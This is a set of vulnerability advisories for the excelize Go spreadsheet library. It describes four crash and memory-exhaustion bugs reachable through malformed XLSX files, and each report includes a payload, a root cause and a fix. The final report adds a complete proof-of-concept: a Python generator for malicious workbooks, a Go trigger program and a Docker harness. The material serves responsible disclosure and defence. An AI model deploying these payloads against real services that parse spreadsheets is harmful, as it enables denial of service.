FileInfo().Size() returns int64(UncompressedSize64). UncompressedSize64 is read from the Zip64 extended-information extra record in the central directory and is fully attacker controlled, so any value with the top bit set arrives as a negative int64. unzipSize then goes negative and the comparison against UnzipSizeLimit (default 1000 << 24, templates.go:193) is false no matter how many such entries the archive contains.
The same negative value also fails the two stream-to-temp checks at lib.go:53 and lib.go:64 (fileSize > f.options.UnzipXMLSizeLimit), so the entry is not diverted to a temp file and control reaches readFile:
go // lib.go:150 dat := make([]byte, 0, file.FileInfo().Size())
make with a negative capacity panics. There is no recover() in any non-test file in the library, so the panic leaves the public API and takes down the calling goroutine.
The asymmetry inside this same function is the clearest way to see it: unzipToTemp (lib.go:83) handles an entry with a plain io.Copy and never pre-allocates from the declared size, so it is indifferent to whatever the header claims. Only the pre-allocating branch trusts that number, and it trusts it after a signed comparison that a wrapped value walks straight through.
Reproduction, executed against HEAD ae2113b (go1.26.5)
A 159-byte archive was built with one stored entry named xl/worksheets/sheet1.xml: truthful 1-byte local header, central-directory 32-bit uncompressed size set to the 0xFFFFFFFF Zip64 sentinel, and a Zip64 extra record (tag 0x0001, data size 8) declaring UncompressedSize64 = 0x8000000000000000.
entry "xl/worksheets/sheet1.xml" FileInfo().Size() = -9223372036854775808 excelize.OpenReader(bytes.NewReader(raw)) -> panic: runtime error: makeslice: cap out of range
Control, the identical archive with UncompressedSize64 = 0x7FFFFFFFFFFFFFFF:
entry "xl/worksheets/sheet1.xml" FileInfo().Size() = 9223372036854775807 excelize.OpenReader(bytes.NewReader(raw)) -> err = "unzip size exceeds the 16777216000 bytes limit"
The control isolates the defect to the sign flip rather than to size magnitude: the guard behaves correctly for any positive declared size and fails only once the value wraps. archive/zip itself accepts the archive without complaint, so nothing upstream of excelize rejects it.
What I verified and what I did not
I ran both cases above myself and confirmed each cited line at HEAD. I caught the panic with a deliberate recover in my harness so I could print it; nothing in excelize recovers it, which I checked by grepping every non-test .go file. I did not separately run the OpenFile variant, since OpenFile reaches the same ReadZipReader loop, and I did not attempt to turn the bypassed size cap into a separate decompression-bomb primitive.
Attacker model
Any service that opens a spreadsheet it did not produce. The payload is 159 bytes, needs no authentication, and is deterministic.
Suggested fix
Compare against the limit in unsigned space, and bound the allocation independently rather than trusting the header:
go if v.UncompressedSize64 > uint64(f.options.UnzipSizeLimit) { return fileList, worksheets, newUnzipSizeLimitError(f.options.UnzipSizeLimit) }
and in readFile, reject or clamp a declared size that is negative or larger than the limit before calling make. The same unsigned treatment applies to the two UnzipXMLSizeLimit comparisons, which currently route a wrapped size away from the safe streaming path and into the pre-allocating one.
Streaming GetRows row-bound bypass causes attacker-controlled allocation
Summary
Excelize's prior row-bound fix for GHSA-h69g / CVE-2026-54063 protects the checked worksheet parser, but the streaming worksheet reader used by Rows and GetRows does not enforce the same TotalRows bound on the row r attribute. A small XLSX file can set a row number above Excelize's maximum row (1048576) and omit the cell coordinate. GetRows then appends empty rows up to the attacker-controlled row index and returns success.
This was reproduced on the current default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314 and the latest release tag v2.10.1 (5ad5ab3af0054c55bdce09f1530085600e9f2e45).
Affected package
- Package: github.com/xuri/excelize/v2 - Tested affected versions: current default branch at 1213a8bd7c5ab360554603ac5c995ccaf6eb4314, and release v2.10.1 - Fixed version: none known at the time of this report
Impact
An attacker who can provide an XLSX file to an application that calls GetRows can cause memory and CPU usage to scale with an attacker-controlled row number, even though the file itself is tiny. This is an availability issue and appears to be an incomplete coverage variant of the GHSA-h69g row-index allocation class.
In the conservative PoC, row r="2000000" returned a [][]string with length 2,000,000 and allocated about 46 MB. Larger row numbers scale the allocation further.
Root cause
The checked parser path validates row numbers:
- excelize.go: checkRowNum(r int) rejects negative rows and rows greater than TotalRows. - excelize.go: checkSheet() calls checkRowNum(r.R) before allocating sheet rows. - workSheetReader() invokes checkSheet() / checkRow() before returning a cached worksheet.
The streaming path does not use that checked parser:
- rows.go: Rows(sheet) opens an XML decoder directly. - Rows.Next() accepts the row r attribute and assigns it to the iterator's current row without applying checkRowNum(). - Rows.Columns() also assigns row r to the iterator state without applying checkRowNum(). - GetRows() appends empty row slices for the gap between the previous row and the current row.
Because a cell without an r coordinate can still contain a value, the worksheet can avoid cell-coordinate row validation while still causing GetRows() to materialize rows up to the out-of-range row number.
Minimal worksheet payload
xml <?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="2000000"><c t="s"><v>0</v></c></row> </sheetData> </worksheet>
The workbook also contains a normal sharedStrings.xml with one string (ok).
Reproduction
A minimal Go harness creates the XLSX in memory and calls GetRows("Sheet1"):
go rows, err := f.GetRows("Sheet1") fmt.Println("rowslen:", len(rows)) if len(rows) > 0 { fmt.Println("lastrow:", rows[len(rows)-1]) } fmt.Printf("returned error: %T %v\n", err, err)
Observed output on current default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314:
text == streaming GetRows row r=2000000 cell without r == rowslen: 2000000 lastrow: [ok] returned error: <nil> <nil> elapsed=21ms allocdelta=46MB
Observed output on latest release tag v2.10.1:
text == streaming GetRows row r=2000000 cell without r == rowslen: 2000000 lastrow: [ok] returned error: <nil> <nil> elapsed=14ms allocdelta=46MB
A control using the checked parser with row r="1048577" and c r="A1048577" correctly returns row number exceeds maximum limit, confirming this report is about inconsistent enforcement in the streaming path rather than a missing global constant.
Expected behavior
Rows / GetRows should reject row numbers greater than TotalRows with the same error behavior as the checked parser path.
Suggested remediation
- Apply the same row-bound validation in the streaming reader immediately after parsing a row r attribute. - Preserve and return row parsing errors from GetRows() instead of silently continuing or returning only Rows.Close() errors. - Add regression tests for GetRows() on a worksheet containing row r="1048577" with a cell value but no cell r coordinate.
Negative shared-string index causes panic in GetCellValue and GetRows
Summary
Excelize parses shared-string cell values with strconv.Atoi and checks only the upper bound before indexing the shared string slice. If an XLSX file contains a shared-string cell with <v>-1</v>, the parsed index is negative. The upper-bound check still passes (len(sharedStrings) > -1), and Excelize indexes sharedStrings[-1], causing a runtime panic.
This was reproduced on the current default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314 and the latest release tag v2.10.1 (5ad5ab3af0054c55bdce09f1530085600e9f2e45). The issue is independent from the row-bound allocation report, so I am reporting it separately.
Affected package
- Package: github.com/xuri/excelize/v2 - Tested affected versions: current default branch at 1213a8bd7c5ab360554603ac5c995ccaf6eb4314, and release v2.10.1 - Fixed version: none known at the time of this report
Impact
An attacker who can provide an XLSX file to an application using Excelize can trigger a process panic when the application reads the malicious cell through common APIs such as GetCellValue or GetRows. In services that parse untrusted spreadsheets without a panic recovery boundary, this can cause denial of service.
Root cause
For shared-string cells (t="s"), xlsxC.getValueFrom() parses the cell value as a shared-string index and only checks whether the index is below len(d.SI) before indexing:
go xlsxSI, := strconv.Atoi(strings.TrimSpace(c.V)) if len(d.SI) > xlsxSI { return d.SI[xlsxSI].String(), nil }
For xlsxSI == -1, len(d.SI) > -1 is true, so the code proceeds to index d.SI[-1] and panics.
Minimal worksheet payload
xml <?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"><c r="A1" t="s"><v>-1</v></c></row> </sheetData> </worksheet>
The workbook also contains a normal sharedStrings.xml with one string (ok), so the failure is specifically due to accepting a negative index.
Reproduction
Calling GetCellValue("Sheet1", "A1") on the workbook panics:
text == negative shared string GetCellValue == elapsed=0s allocdelta=0MB PANIC: runtime.boundsError runtime error: index out of range [-1]
Calling GetRows("Sheet1") on the same workbook also panics:
text == negative shared string GetRows == elapsed=0s allocdelta=0MB PANIC: runtime.boundsError runtime error: index out of range [-1]
The same results were observed on current default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314 and on release v2.10.1.
Expected behavior
Malformed shared-string indices should be rejected or treated as missing/invalid string references without panicking.
Suggested remediation
Check both lower and upper bounds before indexing the shared string table. For example:
go if xlsxSI >= 0 && xlsxSI < len(d.SI) { return d.SI[xlsxSI].String(), nil }
Add regression tests for GetCellValue() and GetRows() on t="s" cells whose <v> value is negative.
Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)
Summary The checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required.
Details The vulnerable code path is triggered by calling GetCellValue (or any API that internally invokes workSheetReader) on an XLSX file containing a crafted worksheet row element.
Data flow (source → sink):
1. excelize.go:186-193 — OpenReader reads attacker-controlled spreadsheet bytes. 2. excelize.go:216-223 — ZIP reader is created and passed to ReadZipReader. 3. lib.go:43-77 — ZIP entries are read into fileList; worksheet XML is stored by part name. 4. excelize.go:228-229 — XML bytes are stored in f.Pkg. 5. cell.go:71-79 — Public GetCellValue enters the worksheet value-read path. 6. cell.go:1492-1494 — getCellStringFunc calls workSheetReader. 7. excelize.go:313-324 — Worksheet XML is decoded into xlsxWorksheet. 8. xmlWorksheet.go:302-312 — <row r="..."> is deserialized into xlsxRow.R int with no validation (source). 9. excelize.go:357-377 — checkSheet() accumulates the maximum r value; sink: make([]xlsxRow, row) allocates a slice of that size before any bounds check.
Vulnerable code (excelize.go:373-377): go if r.R != 0 && r.R > row { row = r.R } sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation
The constant TotalRows = 1048576 is defined in templates.go:190 but is never applied before the make() call in checkSheet(), leaving the allocation fully attacker-controlled.
Variant A (r = 2147483647): make([]xlsxRow, 2147483647) attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with fatal error: runtime: out of memory.
Variant B (r = -1): The first loop in checkSheet() leaves row = 0 because the condition r.R != 0 is false for r.R = -1. The second loop then executes sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], triggering runtime error: index out of range [-2] at excelize.go:381.
Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is: panic: runtime error: index out of range [-2]
goroutine 1 [running]: github.com/xuri/excelize/v2.(xlsxWorksheet).checkSheet(...) /excelize/excelize.go:381 github.com/xuri/excelize/v2.(File).workSheetReader(...) /excelize/excelize.go:329 github.com/xuri/excelize/v2.(File).getCellStringFunc(...) /excelize/cell.go:1494 github.com/xuri/excelize/v2.(File).GetCellValue(...) /excelize/cell.go:72 main.main.func1(...) /excelize/cmd/poc/main.go:44 main.main() /excelize/cmd/poc/main.go:52
Recommended remediation (excelize.go): diff -func (ws xlsxWorksheet) checkSheet() { +func (ws xlsxWorksheet) checkSheet() error { ... for i := 0; i < len(ws.SheetData.Row); i++ { r := ws.SheetData.Row[i] + if r.R < 0 { + return newInvalidRowNumberError(r.R) + } + if r.R > TotalRows { + return ErrMaxRows + } ... ws.SheetData = sheetData + return nil }
PoC
Step 1: Generate the malicious XLSX
python import zipfile
Variant A: OOM → row = "2147483647" Variant B: Panic → row = "-1" row = "-1"
with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIPDEFLATED) as z: z.writestr("[ContentTypes].xml", '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''') z.writestr("rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''') z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''') z.writestr("xl/rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''') z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData> </worksheet>''')
Step 2: Trigger the vulnerability
go package main
import "github.com/xuri/excelize/v2"
func main() { f, err := excelize.OpenFile("malicious.xlsx") if err != nil { panic(err) } defer f.Close() , err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make() if err != nil { panic(err) } }
Expected results: - Variant A (r="2147483647"): process is killed by the OOM killer (fatal error: runtime: out of memory or exit code 137). - Variant B (r="-1"): process panics with runtime error: index out of range [-2] at excelize.go:381 (exit code 2).
Both variants were confirmed in a Docker container with --memory 256m --memory-swap 256m. The malicious XLSX payload is a few hundred bytes.
Impact
This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses github.com/xuri/excelize/v2 to open attacker-supplied XLSX files and subsequently calls any cell-reading API (GetCellValue, GetRows, GetCols, or any function that internally triggers workSheetReader).
Who is impacted: - Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools). - CLI tools or batch jobs that parse user-supplied spreadsheet files. - Any application using the library to handle untrusted XLSX documents.
The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.
Reproduction artifacts
Dockerfile
dockerfile Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() CWE-770 — Allocation of Resources Without Limits or Throttling Target: github.com/xuri/excelize/v2 @ commit f4a068b Exploit path: GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet() In checkSheet() (excelize.go:341-393), the attacker-controlled <row r="N"> attribute is used directly as make([]xlsxRow, row) size with no bounds check. Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory Variant B (r=-1): Panic — second loop does sheetData.Row[-2] (index OOB)
FROM golang:latest AS builder
Copy the vulnerable excelize library source (serves as the Go module) COPY repo/ /excelize/
Copy the exploit main package written by poc.py COPY vuln-001/exploitmain.go /excelize/cmd/poc/main.go
WORKDIR /excelize
Build the exploit binary. -mod=mod: allow Go to update go.sum for any transitive deps. CGOENABLED=0: produce a statically-linked binary for the runtime stage. RUN CGOENABLED=0 GOFLAGS="-mod=mod" go build -o /poc ./cmd/poc/
Minimal runtime stage (golang image provides a libc for cgo-free binary too) FROM golang:latest COPY --from=builder /poc /poc ENTRYPOINT ["/poc"]
poc.py
python #!/usr/bin/env python3 """ PoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() CWE-770 — Allocation of Resources Without Limits or Throttling Repository: qax-os/excelize Commit: f4a068b
Exploit mechanism: xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and uses the attacker-controlled <row r="N"> attribute directly as the length argument to make([]xlsxRow, row) without any bounds validation against TotalRows (1,048,576).
Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error Variant B (r=-1): first loop leaves row=0; second loop executes sheetData.Row[-1-1] → runtime panic: index out of range
This script: 1. Writes exploitmain.go (the Go PoC binary source). 2. Creates two malicious XLSX files (one per variant). 3. Builds the Docker image. 4. Runs each variant and captures evidence. 5. Writes phase2result.json with verdict. """
import json import os import subprocess import sys import textwrap import zipfile
--------------------------------------------------------------------------- Paths --------------------------------------------------------------------------- BASEDIR = os.path.dirname(os.path.abspath(file)) PARENTDIR = os.path.dirname(BASEDIR) # Docker build context RESULTFILE = os.path.join(BASEDIR, "phase2result.json") DOCKERFILE = os.path.join(BASEDIR, "Dockerfile") IMAGENAME = "excelize-poc-vuln001"
EXPLOITSRC = os.path.join(BASEDIR, "exploitmain.go") PANICXLSX = os.path.join(BASEDIR, "rownegative.xlsx") OOMXLSX = os.path.join(BASEDIR, "rowmaxint.xlsx")
--------------------------------------------------------------------------- Step 1 — Write the Go exploit source --------------------------------------------------------------------------- EXPLOITGO = textwrap.dedent("""\ // exploitmain.go — PoC for VULN-001 // Triggers excelize checkSheet() unbounded allocation via malicious XLSX. package main
import ( \t"fmt" \t"os" \t"runtime/debug"
\texcelize "github.com/xuri/excelize/v2" )
func main() { \tif len(os.Args) < 2 { \t\tfmt.Fprintln(os.Stderr, "Usage: poc <xlsxfile>") \t\tos.Exit(1) \t} \tpath := os.Args[1] \tfmt.Printf("[] Opening: %s\\n", path)
\t// Wrap the call so we can print a structured panic message before exiting. \t// The panic itself is the evidence of exploitability. \tfunc() { \t\tdefer func() { \t\t\tif r := recover(); r != nil { \t\t\t\tfmt.Println("[VULN] PANIC CAUGHT — vulnerability confirmed") \t\t\t\tfmt.Printf("[VULN] panic value: %v\\n", r) \t\t\t\tfmt.Println("[VULN] Stack trace:") \t\t\t\tdebug.PrintStack() \t\t\t\tos.Exit(2) // exit 2 = exploitable crash (panic) \t\t\t} \t\t}()
\t\tf, err := excelize.OpenFile(path) \t\tif err != nil { \t\t\tfmt.Printf("[!] OpenFile error: %v\\n", err) \t\t\tos.Exit(1) \t\t} \t\tdefer f.Close()
\t\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet() \t\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled. \t\tfmt.Println("[] Calling GetCellValue — entering checkSheet() sink") \t\tval, err := f.GetCellValue("Sheet1", "A1") \t\tif err != nil { \t\t\t// Some errors surface instead of panicking (e.g. allocation failures \t\t\t// that Go converts to errors in some configurations). \t\t\tfmt.Printf("[!] GetCellValue error: %v\\n", err) \t\t\tos.Exit(3) // exit 3 = error path (still abnormal) \t\t} \t\tfmt.Printf("[] GetCellValue returned normally, value=%q (no crash)\\n", val) \t}() } """)
def writeexploitsource() -> None: with open(EXPLOITSRC, "w") as fh: fh.write(EXPLOITGO) print(f"[+] Wrote exploit source: {EXPLOITSRC}")
--------------------------------------------------------------------------- Step 2 — Build malicious XLSX files --------------------------------------------------------------------------- CONTENTTYPES = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' '<Default Extension="xml" ContentType="application/xml"/>' '<Override PartName="/xl/workbook.xml"' ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' '<Override PartName="/xl/worksheets/sheet1.xml"' ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>' '</Types>' )
RELS = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1"' ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"' ' Target="xl/workbook.xml"/>' '</Relationships>' )
WORKBOOK = ( '<?xml version="1.0" encoding="UTF-8"?>' '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"' ' xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' '<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>' '</workbook>' )
WORKBOOKRELS = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1"' ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"' ' Target="worksheets/sheet1.xml"/>' '</Relationships>' )
def sheetxml(rowr: str) -> str: return ( '<?xml version="1.0" encoding="UTF-8"?>' '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' f'<sheetData><row r="{rowr}"><c r="A1"><v>1</v></c></row></sheetData>' '</worksheet>' )
def buildxlsx(path: str, rowr: str) -> None: with zipfile.ZipFile(path, "w", zipfile.ZIPDEFLATED) as z: z.writestr("[ContentTypes].xml", CONTENTTYPES) z.writestr("rels/.rels", RELS) z.writestr("xl/workbook.xml", WORKBOOK) z.writestr("xl/rels/workbook.xml.rels", WORKBOOKRELS) z.writestr("xl/worksheets/sheet1.xml", sheetxml(rowr)) print(f"[+] Created {os.path.basename(path)} (row r={rowr!r})")
--------------------------------------------------------------------------- Step 3 — Docker helpers --------------------------------------------------------------------------- def runcmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess: print(f"[>] {' '.join(str(x) for x in cmd)}") return subprocess.run( cmd, captureoutput=True, text=True, timeout=timeout, )
def dockerbuild() -> tuple[bool, str]: result = runcmd( [ "docker", "build", "--no-cache", "-f", DOCKERFILE, "-t", IMAGENAME, PARENTDIR, ], timeout=600, ) combined = result.stdout + result.stderr if result.returncode != 0: print(f"[-] docker build FAILED (rc={result.returncode})") print(combined[-4000:]) return False, combined print("[+] Docker image built successfully") return True, combined
def dockerrunvariant(label: str, xlsxpath: str, mem: str = "256m", timeout: int = 90) -> dict: """Run the exploit container against one XLSX file and return analysis dict.""" cmd = [ "docker", "run", "--rm", "--memory", mem, "--memory-swap", mem, "-v", f"{xlsxpath}:/input.xlsx:ro", IMAGENAME, "/input.xlsx", ] runcmdstr = " ".join(cmd) try: result = runcmd(cmd, timeout=timeout) rc = result.returncode stdout = result.stdout or "" stderr = result.stderr or "" except subprocess.TimeoutExpired: rc = -99 stdout = "" stderr = f"TIMEOUT after {timeout}s"
combined = stdout + stderr print(f"\n--- {label} ---") print(f" exit code : {rc}") print(f" stdout : {stdout[:1200]}") print(f" stderr : {stderr[:1200]}")
ispanic = any(kw in combined for kw in ( "index out of range", "PANIC CAUGHT", "runtime error", "goroutine ", "panic:", )) isoom = any(kw in combined for kw in ( "out of memory", "cannot allocate", "fatal error", "makeslice", )) or rc == 137
# exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path crashed = rc != 0 and (ispanic or isoom or rc in (2, 3, 137))
return { "label": label, "rc": rc, "ispanic": ispanic, "isoom": isoom, "crashed": crashed, "runcmd": runcmdstr, "snippet": combined[:1500].strip(), }
--------------------------------------------------------------------------- Main --------------------------------------------------------------------------- def main() -> None: print("=" 65) print("VULN-001 PoC — excelize checkSheet() unbounded allocation DoS") print("=" 65)
# 1. Write Go exploit source (needed before docker build) writeexploitsource()
# 2. Create malicious XLSX payloads buildxlsx(PANICXLSX, "-1") # Variant B: index OOB panic buildxlsx(OOMXLSX, "2147483647") # Variant A: 2 GB+ make() → OOM
# 3. Build Docker image buildcmd = ( f"docker build --no-cache -f {DOCKERFILE} -t {IMAGENAME} {PARENTDIR}" ) buildok, buildout = dockerbuild() if not buildok: payload = { "passed": False, "verdict": "FAIL", "reason": ( "Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 " "'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 " "'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다." ), "buildcommand": buildcmd, "runcommand": "", "poccommand": f"python3 {os.path.abspath(file)}", "evidence": buildout[-2000:], "artifacts": ["Dockerfile", "poc.py"], } with open(RESULTFILE, "w") as fh: json.dump(payload, fh, indent=2, ensureascii=False) print(f"\n[!] FAIL result → {RESULTFILE}") sys.exit(1)
# 4. Run both variants evpanic = dockerrunvariant( "Variant B — r=-1 (index out of range panic)", PANICXLSX, mem="256m") evoom = dockerrunvariant( "Variant A — r=2147483647 (OOM)", OOMXLSX, mem="256m")
# 5. Verdict passed = evpanic["crashed"] or evoom["crashed"]
if evpanic["crashed"]: primary, primaryev = "B (r=-1, panic)", evpanic elif evoom["crashed"]: primary, primaryev = "A (r=2147483647, OOM)", evoom else: primary, primaryev = "B (r=-1, panic)", evpanic # best-effort
if passed: reason = ( f"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). " f"Variant B(r=-1): rc={evpanic['rc']}, panic={evpanic['ispanic']}; " f"Variant A(r=2147483647): rc={evoom['rc']}, oom={evoom['isoom']}. " "excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 " "컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명." ) verdict = "PASS" else: reason = ( "컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. " f"Variant B rc={evpanic['rc']}, Variant A rc={evoom['rc']}. " "가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, " "(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. " "다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행." ) verdict = "FAIL"
phase2 = { "passed": passed, "verdict": verdict, "reason": reason, "buildcommand": buildcmd, "runcommand": primaryev["runcmd"], "poccommand": f"python3 {os.path.abspath(file)}", "evidence": primaryev["snippet"], "artifacts": ["Dockerfile", "poc.py"], }
with open(RESULTFILE, "w") as fh: json.dump(phase2, fh, indent=2, ensureascii=False)
print(f"\n{'='65}") print(f"Verdict : {verdict} (passed={passed})") print(f"Result → {RESULTFILE}") print("=" 65)
if name == "main": main()